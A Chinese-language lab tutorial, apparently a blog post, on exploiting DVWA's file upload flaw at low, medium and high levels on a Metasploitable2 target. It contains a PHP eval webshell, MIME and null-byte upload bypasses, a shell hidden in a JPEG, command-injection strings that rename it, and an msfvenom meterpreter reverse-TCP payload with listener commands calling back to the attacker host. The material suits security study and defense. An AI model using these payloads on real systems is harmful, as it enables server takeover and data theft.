dvwa中的文件上传漏洞

环境:

Metasploitable2: 192.168.11.157 dvwa版本:Version 1.0.7 (Release date: 08/09/10)

kail机器:192.168.11.156

一、什么是文件上传漏洞?

  1. 文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等。正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回;

  1. 如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网;

上传漏洞原理图:

文件上传漏洞,通常是由于对上传文件的类型、内容没进行严格的审查、过滤,使得攻击者可以通过上传木马获取服务器的webshell权限。

入侵条件:

  1. 木马上传成功

  1. 知道木马的路径

  1. 木马能够正常运行

二、演示dvwa上的文件上传漏洞

2.1、编辑一句话木马

pass.php文件添加

<?php @eval($_POST['pass']);?>
  • @表示后面即使执行错误,也不报错。

  • eval()函数表示括号内的语句字符串什么的全都当做代码执行。

  • $_POST['pass']表示从页面中获得pass这个参数值。

2.2、低安全模式

low级别未对上传的文件进行任何验证,可以上传任意类型的文件

尝试上传木马文件php文件,成功:

直接打开木马文件http://192.168.11.157/dvwa/hackable/uploads/pass.php访问成功,但没有显示任何内容(因为是php文件)

通过中国蚁剑连接工具(或者中国菜刀)将url添加进去,密码为pass

打开文件管理,进入后台成功:

2.3、中安全模式

限制文件类型image/jpeg和大小不能超过100000B(约为97.6KB)

2.3.1、可以利用burpsuite绕过

上传木马文件pass.php,更改文件类型为image/jpeg

攻击后发现上传成功:

2.3.2、00截断

将木马文件pass.php改名为pass.php.jpeg,上传pass.php.jpeg,同时开启burpsuite捕获

切换到Hex进制,将pass.php.jpeg截断为pass.php:

点击“forward”, 也可将pass.php成功上传:

2.4、高安全模式

文件后缀限制与大小限制

下面介绍几种绕过的方法。

2.4.1、将木马隐藏在图片中绕过(High文件上传+Low命令注入)

1、将木马文件pass.php与图片文件test.jpg合并为php.jpg

windows上(关闭实时防护)使用copy命令: copy test.jpg/b+pass.php/a php.jpg

linux上:cat pass.php >> test.jpg

可以看到,一句话木马被添加到图片的尾部(记事本查看或者cat php.jpg):

2、将php.jpg文件上传,成功:

3、选择命令注入(Command Execution):

调整dvwa的等级为low,在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads

结果如下:

4、然后通过命令注入方式输入以下命令来进行更改文件后缀

127.0.0.1|mv ../../hackable/uploads/php.jpg ../../hackable/uploads/php.php

再执行127.0.0.1|ls ../../hackable/uploads查看:

5、中国蚁剑查看,指定连接目录http://192.168.11.157/dvwa/hackable/uploads/php.php,参数为cmd,类型为PHP(eval):

2.4.2、用msfvenom生成的php代码的图片木马,图片欺诈头部绕过(High文件上传+Low文件包含)

1、首先用msfvenom生成一个PHP语言的IPG图片木马

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.11.156 lport=3333 >> /root/Desktop/any.jpg

2、上传图片木马any.png

3、在kali终端输入msfconsole进入控制台,输入如下指令

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.11.156
set lport 3333
run

4、dvwa选择low等级,切换到文件包含File Inclusion

5、在地址栏输入以下的地址并回车

http://192.168.11.157/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/any.jpg

6、msfconsole控制台就有生成一条会话

7、然后我们通过命令查看一下/hackable/uploads这个目录下有什么文件,然后测试随便删除一个文件,看看有没有权限,测试成功

三、参考

DVWA1.9之文件上传漏洞High级多种方法_晚安這個未知的世界的博客-优快云博客_dvwa文件上传high级别

VMware之kali安装中国蚁剑_小豆饼的博客-优快云博客_kali安装中国蚁剑

### DVWA 中的一句话木马利用方法 在DVWA环境中,文件包含漏洞可以被攻击者用来执行恶意代码。当涉及到一句话木马时,通常是指一段非常简洁的PHP代码,它能够接收来自远程客户端的指令并执行相应的命令。 对于DVWA中的文件上传功能,如果存在安全漏洞,则允许攻击者上传特制文件(如带有隐藏PHP代码的图像),并通过访问该文件来触发服务器端执行恶意脚本[^1]。 #### 利用过程 为了成功利用此漏洞: - 攻击者会准备一个看似正常的图片文件,在其中嵌入了一行简单的PHP代码作为webshell。 ```php <?php @eval($_POST['cmd']);?> ``` - 使用Burp Suite这样的工具拦截HTTP请求,并修改MIME类型或其他参数以绕过某些基本的安全检测机制[^4]。 - 成功上传后,通过浏览器或者其他方式向这个已上传到服务器上的特殊文件发送特定格式的数据包,从而实现远程控制目标主机的目的。 然而需要注意的是,在实际测试过程中可能会遇到各种原因导致上述操作无法顺利完成,比如因为fwrite函数后面指针名称错误等问题而使得整个流程失败[^3]。 ### 防护措施建议 针对此类风险,可以从以下几个方面加强系统的安全性: - **输入验证**:严格检查所有用户提交的内容,特别是文件上传部分,确保只接受预期类型的文件,并对文件头进行校验防止伪装成其他形式的可执行代码混入系统内部。 - **权限管理**:合理设置Web应用程序及其工作目录下的读写权限,避免不必要的开放;同时也要注意操作系统层面的安全策略调整,减少潜在威胁面。 - **禁用危险函数**:可以在`php.ini`配置文件中关闭一些容易引发安全隐患的功能调用,像这里的`eval()`就是一个典型例子[^2]。 - **定期更新补丁**:保持所使用的软件版本处于最新状态,及时安装官方发布的修复程序,以此封堵可能存在的未知漏洞
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值